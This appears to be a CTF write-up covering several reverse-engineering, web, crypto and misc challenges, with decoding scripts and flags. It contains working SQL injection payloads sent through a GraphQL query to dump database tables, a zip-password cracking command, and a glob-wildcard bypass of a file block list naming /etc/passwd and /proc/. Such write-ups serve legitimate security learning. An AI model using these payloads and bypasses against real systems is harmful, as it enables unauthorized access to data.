x and or
Reverse Engineering – 392pts
Solution
For this challenge we get a ELF binary.
file x-and-or
x-and-or: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d75c2db8d7b1c77fd65762741f73b19aba4f2815, for GNU/Linux 3.2.0, not stripped
Lets open it up in Ghidra. In the main
function we see the flag check.
undefined8 main(void)
{
int correct;
size_t endIdx;
long in_FS_OFFSET;
char input [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter the flag: ");
fgets(input,0x100,stdin);
endIdx = strcspn(input,"\r\n");
input[endIdx] = '\0';
endIdx = strnlen(input,0x100);
correct = (*code)(input,endIdx & 0xffffffff,endIdx & 0xffffffff,code);
if (correct == 0) {
puts("That is the flag!!!!");
}
else {
puts("That is not the flag.");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
So the address to the flag check function is stored in the code
pointer. Now we need to find out where it’s assigned so we can find the correct function. Checking the xrefs for code
we can see that it’s written to in the init
function.
XREF[4]: Entry Point(*), init:001010c7(W), init:001010e4(R), main:0010128e(R)
Lets check out the init
function.
int init(EVP_PKEY_CTX *ctx)
{
long idx;
code = (undefined *)mmap((void *)0x0,0x1000,7,0x22,0,0);
*code = 0x55;
idx = 1;
do {
code[idx] = (&check_password)[idx] ^ 0x42;
idx = idx + 1;
} while (idx != 500);
return 500;
}
So the init
function decodes the data stored at check_password
and stores the decoded function in the memory. Lets write a script to decode the check_password
function and dump it to a binary file for disassembly.
#!/usr/bin/env python3
encoded = [0x17, 0x0A, 0xCB, 0xA7, 0x0A, 0xC1, 0xAE, 0x12, 0x0A, 0xCB, 0x3F, 0xFA, 0xCB, 0x37, 0xF6, 0x26, 0x0A, 0xC9, 0x46, 0x67, 0x6A, 0x42, 0x42, 0x42, 0x0A, 0xCB, 0x07, 0xBA, 0x73, 0x82, 0x0A, 0xFA, 0x24, 0x2F, 0x2B, 0x3E, 0x79, 0x0A, 0x74, 0x73, 0x0A, 0xF8, 0x7C, 0x6A, 0x35, 0x5B, 0x21, 0x73, 0x2E, 0x3A, 0x0A, 0xCB, 0x07, 0x92, 0x0A, 0xCB, 0x17, 0x9A, 0x0A, 0xFA, 0x66, 0x0C, 0x71, 0x21, 0x7F, 0x3F, 0x64, 0x0C, 0x0A, 0xF8, 0x75, 0x7B, 0x72, 0x69, 0x61, 0x5E, 0x73, 0x73, 0x0A, 0xCB, 0x07, 0xA2, 0x0A, 0xCB, 0x17, 0xAA, 0x85, 0x07, 0xB2, 0x28, 0x6B, 0x36, 0x59, 0x24, 0x85, 0x07, 0xB6, 0x20, 0x3E, 0x84, 0x07, 0xB4, 0x42, 0x85, 0x07, 0x8E, 0x64, 0x42, 0x42, 0x42, 0xC9, 0x07, 0x8E, 0x79, 0x07, 0xF6, 0x36, 0x48, 0xFA, 0xBD, 0xBD, 0xBD, 0xBD, 0xAB, 0x90, 0x42, 0x42, 0x42, 0x85, 0x07, 0x8A, 0x42, 0x42, 0x42, 0x42, 0xAB, 0xF7, 0x42, 0x42, 0x42, 0xC9, 0x07, 0x8A, 0x0A, 0xDA, 0x4D, 0xF4, 0x06, 0x47, 0x92, 0x4D, 0xFC, 0xBA, 0xC9, 0x17, 0x8A, 0x0A, 0x21, 0x80, 0x0A, 0x2B, 0x82, 0xE9, 0xE8, 0xE8, 0x68, 0x0A, 0x83, 0xAA, 0x62, 0xCB, 0x94, 0x83, 0xBC, 0x5D, 0xCB, 0x83, 0x6B, 0xB3, 0xCB, 0x8A, 0x43, 0x82, 0x43, 0x8A, 0x43, 0x82, 0xCB, 0x93, 0x6B, 0x83, 0xC9, 0x37, 0x8A, 0x0A, 0x21, 0x84, 0x0A, 0x2B, 0x82, 0xE9, 0xE8, 0xE8, 0x68, 0x0A, 0x83, 0xAA, 0x62, 0x03, 0xCB, 0xB2, 0x03, 0x83, 0xBA, 0x5D, 0xCB, 0x80, 0x06, 0x6B, 0x80, 0xCB, 0x92, 0x43, 0x82, 0x43, 0x92, 0x43, 0x82, 0x6B, 0x84, 0xCB, 0xB0, 0xCB, 0x8C, 0x4D, 0xED, 0xB0, 0xC9, 0x0F, 0x8A, 0x0A, 0x21, 0x83, 0x0A, 0x2B, 0x82, 0xE9, 0xE8, 0xE8, 0x68, 0x0A, 0x83, 0xAA, 0x62, 0x03, 0xCB, 0x8A, 0x03, 0x83, 0xBA, 0x5D, 0xCB, 0x80, 0x06, 0x6B, 0x80, 0xCB, 0x92, 0x43, 0x82, 0x43, 0x92, 0x43, 0x82, 0x6B, 0x83, 0xCB, 0x88, 0xCB, 0xB2, 0x4D, 0xED, 0x80, 0x73, 0x85, 0xCB, 0xB8, 0xC9, 0x07, 0x8A, 0x0A, 0x21, 0x8A, 0x0A, 0xC9, 0x07, 0xFA, 0x0A, 0x43, 0x8A, 0x4D, 0xF4, 0x42, 0x4D, 0xFC, 0x82, 0x7B, 0x80, 0x36, 0x45, 0xFA, 0xBD, 0xBD, 0xBD, 0xBD, 0xA9, 0x57, 0xC1, 0x07, 0x8A, 0x43, 0xC9, 0x07, 0x8A, 0x79, 0x07, 0x8E, 0x4D, 0xCE, 0x7D, 0xBD, 0xBD, 0xBD, 0xFA, 0x42, 0x42, 0x42, 0x42, 0x0A, 0xC9, 0x3F, 0xBA, 0x26, 0x0A, 0x69, 0x7E, 0x67, 0x6A, 0x42, 0x42, 0x42, 0x36, 0x47, 0xAA, 0x42, 0x42, 0x42, 0x42, 0x8B, 0x81]
decoded = []
for byte in encoded:
decoded.append(byte ^ 0x42)
fh = open('out.bin', 'wb')
fh.write(bytearray(decoded))
fh.close()
Now we can open out.bin in Ghidra and take a look at the check_password
function.
undefined8 FUN_00000000(long input,int input_len)
{
undefined8 uVar1;
long in_FS_OFFSET;
int idx;
undefined8 flag;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined4 local_18;
undefined2 local_14;
undefined local_12;
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
flag = 0x3136483b7c696d66;
local_30 = 0x786c31631977283e;
local_28 = 0x4e267d3d63334e24;
local_20 = 0x31311c232b303937;
local_18 = 0x1b74296a;
local_14 = 0x7c62;
local_12 = 0;
if (input_len == 0x26) {
idx = 0;
while (idx < 0x26) {
if (((int)*(char *)((long)&flag + (long)idx) ^ (idx % 6) * (idx % 6) * (idx % 6)) !=
(int)*(char *)(input + idx)) {
return 0xffffffff;
}
idx = idx + 1;
}
uVar1 = 0;
}
else {
uVar1 = 0xffffffff;
}
return uVar1;
}
Ok, we got an encoded flag string and a loop that compares each decoded character in the flag string with the input. So we should be able to decode the flag string using the same operations used in the loop. Lets write a flag decoder.
#!/usr/bin/env python3
import struct
encoded_flag = struct.pack('<QQQQIH', 0x3136483b7c696d66, 0x786c31631977283e, 0x4e267d3d63334e24, 0x31311c232b303937, 0x1b74296a, 0x7c62)
flag = []
for idx in range(0, len(encoded_flag)):
char = encoded_flag[idx] ^ (idx % 6) * (idx % 6) * (idx % 6)
flag.append(chr(char))
print(''.join(flag))
When we run this we get the correct flag.
flag{560637dc0dcd33b5ff37880ca10b24fb}
hash
Reverse Engineering – 479pts
Description
I received a corrupted program the keys are probably lost within the game can you just find it for me to get the flag?.
Solution
Here we have another ELF binary.
file keyjoinfile
keyjoinfile: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
When we open this in a disassembler we quickly see that it’s compressed with UPX. So we need to decompress the binary with upx -d keyjoinfile and open the decompressed file.
When we have opened the decompressed binary in IDA we can see a call to main__main
in the main
function. This tells us that it’s a Go binary, so the main functionality will reside in the main__main
function. Lets take a look at the main__main
function.

Here we can see two calls to the main__one
and main__two
functions, which will never be called due to the 0x17 == 0x2D
and 0x98C == 0x4C
checks before each call. Lets check out what the functions do. Checking out main__one we find one interesting part.

The jump to the “You don’t have…” message is again a check that will always evaluate to false, so the jump is always taken. Analysing the other path we can see that an array is created and the loop at loc_806207E
pushes the values 2 to 11 onto the array. When the loop is done we get to the following code.

Here the array is sliced from index 2 to 8 giving us the values 4, 5, 6, 7, 8 and 9. Then those values are converted from int values to strings and then printed. So our first part of the flag is 456789.
Now we need to get the second part of the key. Lets take a look at the main__two
function.

Here an array is created from the values JKLq5. And as before the jump at the end will always be taken and leads to a failed message.

Lets take a look at the other branch and see what it does.

Here another array is created with the values 9U1337, then the previous array and the new array are merged creating an array with the values JKLq59U1337. Now we have the complete flag.
flag{456789JKLq59U1337}
Ware
Reverse Engineering – 462pts
Description
My plaintext has been encrypted by an innocent friend of mine while playing around cryptographic libraries, can you help me to recover the plaintext , remembers it’s just numbers and there’s a space between some numbers which you need to remove the space and submit the recovered plain text as a flag.
Solution
Attached is another UPX compressed ELF binary. After decompressing it with upx -d skidw4re we can begin our analysis. When opening the binary in IDA we can see that this is a Go binary, so lets take a look at main__main
. Here we find a call to main_Encryptfinal

Taking a look at main_Encryptfinal
we find this block of code at the start of the function.

flag{32117406899806798980909}
Cage
Reverse Engineering – 486pts
Description
Are you aware of the scopes yet?
Solution
Opening the binary in IDA reveals that this is another Go binary. When taking a look at the main_main
function we can find a call to a function called main_one
, which is a huge function which basically reads input five times and compares the input to some hard coded values.

At the start of each compare block we can see a hard coded value, adding all the values gives us the flag.
mov dword ptr [ebp-390h], offset a0xm4 ; "0xm4"
mov dword ptr [ebp-380h], offset aTr ; "tr"
mov dword ptr [ebp-370h], offset a1x ; "1x"
mov dword ptr [ebp-360h], offset aRe ; "re"
mov dword ptr [ebp-350h], offset aAl ; "al"
flag{0xm4tr1xreal}
WrongDownload
Reverse Engineering – 475pts
Description
My key has been missing inside these two binaries can you help me to find it out ,as per my friend the key is divided in two parts between the two binaries so, remember you need to join them up before submitting as a flag.
Solution
For this challenge we get two binaries, both Go ELF executables.
file unknown
unknown: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=0897d7ae0900bab1e4ae144e804c0c47438e5df5, with debug_info, not stripped
file unknown2
unknown2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=998c40081e305772545f4a65c41b066517f5456e, with debug_info, not stripped
Starting with unknown we can find some values being assigned in the main_main
function.

The last three values are concatenated to create one string, so our best bet is that those are the first part of the flag. So we got S6c56bnXQiBjk9mq as the first part. Now lets check out unknown2. As with unknown we can find some values being assigned in the main_main
function.

So the second part of the flag is SYE7ykVQ7NzrRy.
flag{S6c56bnXQiBjk9mqSYE7ykVQ7NzrRy}
Backupkeys
Reverse Engineering – 480pts
Description
Can you recover my backup keys to get the flag , they probably are hardcoded ?
Solution
Here we have another UPX compressed Go binary. When analysing the main_main
function we can find the following code at the end.

Here we have the string Hardcoded,passwords,are,useless assigned to a variable. Then the string is split for each comma. If we remove all commas from the assigned string we have the flag.
flag{Hardcodedpasswordsareuseless}
graphed 2.0
Web – 384pts
Description
graphed notes is finally here !!!!!! but it looks like something is still broken with that site
Solution
For this challenge we have a web application for notes.

When we try to submit a new note we get a message telling us that the functionality is disabled.

Taking a look at the page source reveals some commented calls to a graphql api.
<script>
function create_note() {
alert("sorry but this functionality is disabeled due to technical problems");
//query_data = `mutation {createNote(body:${document.getElementById("note-content").value}, title:"anon note", username:"guest"){note{uuid}}}`;
//fetch(`/graphql?query=mutation{createNote(body:"ww", title:"anon note", username:"guest"){note{uuid}}}`, {method: "POST"});
}
</script>
Great, time for some graphql-introspection. Sending the query /graphql?query=%7B__schema%7Btypes%7Bname%2Cfields%7Bname%7D%7D%7D%7D
reveals the following about the schema.
{
"name": "Query",
"fields": [
{
"name": "node"
},
{
"name": "allNotes"
},
{
"name": "allUsers"
},
{
"name": "coolNotes"
},
{
"name": "getNote"
}
]
},
{
"name": "Mutation",
"fields": [
{
"name": "createNote"
}
]
},
Trying out the queries, the only interesting query is the getNote query. When sending the query {“query”: “query {\n\tgetNote(q:\”4\”) {\n\t\tauthor {\n\t\t\tuuid\n\t\t\tid\n\t\t}\n\t\ttitle\n\t\tbody\n\t\tauthorId\n\t\tuuid\n\t\tid\n\t}\n}”} we receive the following result.
{"errors":[{"message":"Received incompatible instance \"(4, 'omg you got the flag', 'CUCTF{graphql_d3f1n1tely_1s_the_futur30985}', 2)\"."}],"data":{"getNote":[null]}}
So we receive an error message. Now lets see if there’s some injection vulnerability. Lets try to send the following query and see what we receive.
query {
getNote (q:"1'"){
title
body
}
}
{
"errors": [
{
"message": "(sqlite3.OperationalError) unrecognized token: \"'1''\"\n[SQL: SELECT * FROM NOTES where uuid='1'']\n(Background on this error at: http://sqlalche.me/e/13/e3q8)",
"locations": [
{
"line": 2,
"column": 3
}
],
"path": [
"getNote"
]
}
],
"data": {
"getNote": null
}
}
So we found a SQLi vulnerability and we know that the database engine is sqlite3. Now we can dump the table names.
query {
getNote (q:"1' UNION SELECT 1,2,3,tbl_name FROM sqlite_master WHERE type='table' --"){
title
body
}
}
{
"errors": [
{
"message": "Received incompatible instance \"(1, 2, 3, 'Notes')\"."
},
{
"message": "Received incompatible instance \"(1, 2, 3, 'users')\"."
},
{
"message": "Received incompatible instance \"(1, 2, 3, 'العلم')\"."
},
{
"message": "Received incompatible instance \"(1, 'graphed a note sharing site', 'graphed beta is one of the most secure note sharing sites', 1)\"."
}
],
"data": {
"getNote": [
null,
null,
null,
null
]
}
}
So we got three tables in the database. Lets check out the column names of the العلم table.
query {
getNote (q:"1' UNION SELECT 1,2,3,sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='العلم' --"){
title
body
}
}
{
"errors": [
{
"message": "Received incompatible instance \"(1, 2, 3, 'CREATE TABLE العلم (id INTEGER PRIMARY KEY, flag TEXT NOT NULL)')\"."
},
{
"message": "Received incompatible instance \"(1, 'graphed a note sharing site', 'graphed beta is one of the most secure note sharing sites', 1)\"."
}
],
"data": {
"getNote": [
null,
null
]
}
}
The table contains a column named flag, that sounds promising. Lets get the values of that column.
query {
getNote (q:"' UNION SELECT 1,2,3,flag FROM العلم --"){
title
body
}
}
{
"errors": [
{
"message": "Received incompatible instance \"(1, 2, 3, \"flag{h0p3_u_can't_r3@d_1t9176}\")\"."
}
],
"data": {
"getNote": [
null,
null
]
}
}
Nice, we got the flag.
flag{h0p3_u_can't_r3@d_1t9176}
factorize
Cryptography – 232pts
Description
c: 17830167351685057470426148820703481112309475954806278304600862043185650439097181747043204885329525211579732614665322698426329449125482709124139851522121862053345527979419420678255168453521857375994190985370640433256068675028575470040533677286141917358212661540266638008376296359267047685745805295747215450691069703625474047825597597912415099008745060616375313170031232301933185011013735135370715444443319033139774851324477224585336813629117088332254309481591751292335835747491446904471032096338134760865724230819823010046719914443703839473237372520085899409816981311851296947867647723573368447922606495085341947385255
n: 23135514747783882716888676812295359006102435689848260501709475114767217528965364658403027664227615593085036290166289063788272776788638764660757735264077730982726873368488789034079040049824603517615442321955626164064763328102556475952363475005967968681746619179641519183612638784244197749344305359692751832455587854243160406582696594311842565272623730709252650625846680194953309748453515876633303858147298846454105907265186127420148343526253775550105897136275826705375222242565865228645214598819541187583028360400160631947584202826991980657718853446368090891391744347723951620641492388205471242788631833531394634945663
Solution
Attached to the challenge is the source code for the encryption used to encrypt c.
import binascii
import random
from Crypto.Util.number import isPrime
flag = open("flag.txt", "rb").read().strip()
m = int(binascii.hexlify(flag), 16)
def genPrimes(size):
base = random.getrandbits(size // 2) << size // 2
base = base | (1 << 1023) | (1 << 1022) | 1
while True:
temp = base | random.getrandbits(size // 2)
if isPrime(temp):
p = temp
break
while True:
temp = base | random.getrandbits(size // 2)
if isPrime(temp):
q = temp
break
return (p, q)
p, q = genPrimes(1024)
n = p * q
e = 0x10001
print("c:", pow(m, e, n))
Now we got c, n and e. Now we need to factorize n to get p and q so we can calculate phi and d. Using this integer factorization calculator we can find the values of p and q.
p = 152103631606164757991388657189704366976433537820099034648874538500153362765519668135545276650144504533686483692163171569868971464706026329525740394016509185464641520736454955410019736330026303289754303711165526821866422766844554206047678337249535003432035470125187072461808523973483360158652600992259609986591
q = 152103631606164757991388657189704366976433537820099034648874538500153362765519668135545276650144504533686483692163171569868971464706026329525740394016509191077550351496973264159350455849525747355370985161471258126994336297660442739951587911017897809328177973473427538782352524239389465259173507406981248869793
Now we got all values needed to decrypt c. Lets write a python script to decrypt it for us.
#!/usr/bin/env python3
from Crypto.Util.number import inverse
c = 17830167351685057470426148820703481112309475954806278304600862043185650439097181747043204885329525211579732614665322698426329449125482709124139851522121862053345527979419420678255168453521857375994190985370640433256068675028575470040533677286141917358212661540266638008376296359267047685745805295747215450691069703625474047825597597912415099008745060616375313170031232301933185011013735135370715444443319033139774851324477224585336813629117088332254309481591751292335835747491446904471032096338134760865724230819823010046719914443703839473237372520085899409816981311851296947867647723573368447922606495085341947385255
n = 23135514747783882716888676812295359006102435689848260501709475114767217528965364658403027664227615593085036290166289063788272776788638764660757735264077730982726873368488789034079040049824603517615442321955626164064763328102556475952363475005967968681746619179641519183612638784244197749344305359692751832455587854243160406582696594311842565272623730709252650625846680194953309748453515876633303858147298846454105907265186127420148343526253775550105897136275826705375222242565865228645214598819541187583028360400160631947584202826991980657718853446368090891391744347723951620641492388205471242788631833531394634945663
e = 0x10001
p = 152103631606164757991388657189704366976433537820099034648874538500153362765519668135545276650144504533686483692163171569868971464706026329525740394016509185464641520736454955410019736330026303289754303711165526821866422766844554206047678337249535003432035470125187072461808523973483360158652600992259609986591
q = 152103631606164757991388657189704366976433537820099034648874538500153362765519668135545276650144504533686483692163171569868971464706026329525740394016509191077550351496973264159350455849525747355370985161471258126994336297660442739951587911017897809328177973473427538782352524239389465259173507406981248869793
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]).decode('utf-8'))
When running this we get the flag.
flag{just_g0tta_f@ct0rize_1t4536}
0x414141
Misc – 454pts
Description
I think offshift promised to opensource some of their code
Solution
We need to find some code open sourced by Offshift, lets see what we can find when searching for offshift github.

So we found two github accounts that has the name offshift in them. The offshift-dev account contains one repository that doesn’t seem to be the one we are looking for. The offshift-protocol account on the other hand contains one repository named promo which was recently updated. Lets take a closer look at that.

The index.html and style.css contains no interesting information. Lets check out the commit history.

Lets take a look at the previous commit to find out what the __pycache__ directory contained.

A compiled python script. When we download and decompile this we get the following script.
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.7 (default, Dec 22 2020, 10:37:26)
# [GCC 10.2.1 20201207]
# Embedded file name: ./script.py
# Compiled at: 2020-12-12 14:17:01
# Size of source mod 2**32: 481 bytes
import base64
secret = 'https://google.com'
cipher2 = [b'NDE=', b'NTM=', b'NTM=', b'NDk=', b'NTA=', b'MTIz', b'MTEw', b'MTEw', b'MzI=', b'NTE=', b'MzQ=', b'NDE=', b'NDA=', b'NTU=', b'MzY=', b'MTEx', b'NDA=', b'NTA=', b'MTEw', b'NDY=', b'MTI=', b'NDU=', b'MTE2', b'MTIw']
cipher1 = [base64.b64encode(str(ord(i) ^ 65).encode()) for i in secret]
# okay decompiling script.cpython-38.pyc
A simple encoding algorithm. Lets decode cipher2
and find out what that contains.
import base64
cipher2 = [b'NDE=', b'NTM=', b'NTM=', b'NDk=', b'NTA=', b'MTIz', b'MTEw', b'MTEw', b'MzI=', b'NTE=', b'MzQ=', b'NDE=', b'NDA=', b'NTU=', b'MzY=', b'MTEx', b'NDA=', b'NTA=', b'MTEw', b'NDY=', b'MTI=', b'NDU=', b'MTE2', b'MTIw']
plaintext = [chr(int(base64.b64decode(i).decode()) ^ 65) for i in cipher2]
print(''.join(plaintext))
When we run this we get an URL: https://archive.is/oMl59. The URL takes us to a forum message.

Downloading the “super secret random file” we get a file called smashing.pdf, but it’s corrupted. Taking a look at the file in a hex editor we can see that it doesn’t have a valid PDF header. XOR:ing the bytes of a valid PDF header and the first bytes in the file reveals that the file is XOR:ed with 0x41. Lets restore the file.
data = open('smashing.pdf', 'rb').read()
output = open('decoded.pdf', 'wb')
val = []
for c in data:
val.append(int(c) ^ 0x41)
output.write(bytes(val))
output.close()
When opening the PDF it contains no interesting information. When opening the decoded file in a hex editor we can find out that a Zip file is embedded at the end of the file.

When we have extracted the Zip file from the PDF we can try to unzip it, but it turns out that it’s password protected.
unzip flag.zip
Archive: flag.zip
[flag.zip] flag.txt password:
Time to try to crack the password.
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt flag.zip
PASSWORD FOUND!!!!: pw == passwd
Great. Now we can unzip the file.
unzip flag.zip
Archive: flag.zip
[flag.zip] flag.txt password:
extracting: flag.txt
And in flag.txt we find the flag.
cat flag.txt
oh ma gawd you got it
flag{1t_b33n_A_l0ng_w@y8742}
file reader
Misc – 459pts
Description
hello guys, I started this new service check note.txt file for a sanity check
Solution
Attached to the challenge is the source code for the service.
import glob
blocked = ["/etc/passwd", "/flag.txt", "/proc/"]
def read_file(file_path):
for i in blocked:
if i in file_path:
return "you aren't allowed to read that file"
try:
path = glob.glob(file_path)[0]
except:
return "file doesn't exist"
return open(path, "r").read()
user_input = input("> ")
print(read_file(user_input))
We got some blacklisted file names in the blocked
array, lets see what we can do with the service. When connecting we get the promt asking us for a file to read.
give me a file to read
>
So lets try to read the note.txt file stated in the description.
give me a file to read
> note.txt
hello
When we try to read /flag.txt we get the expected fail message.
give me a file to read
> /flag.txt
you aren't allowed to read that file
What about wildcards? Lets try to read /f*.
give me a file to read
> /f*
flag{oof_1t_g0t_expanded_93929}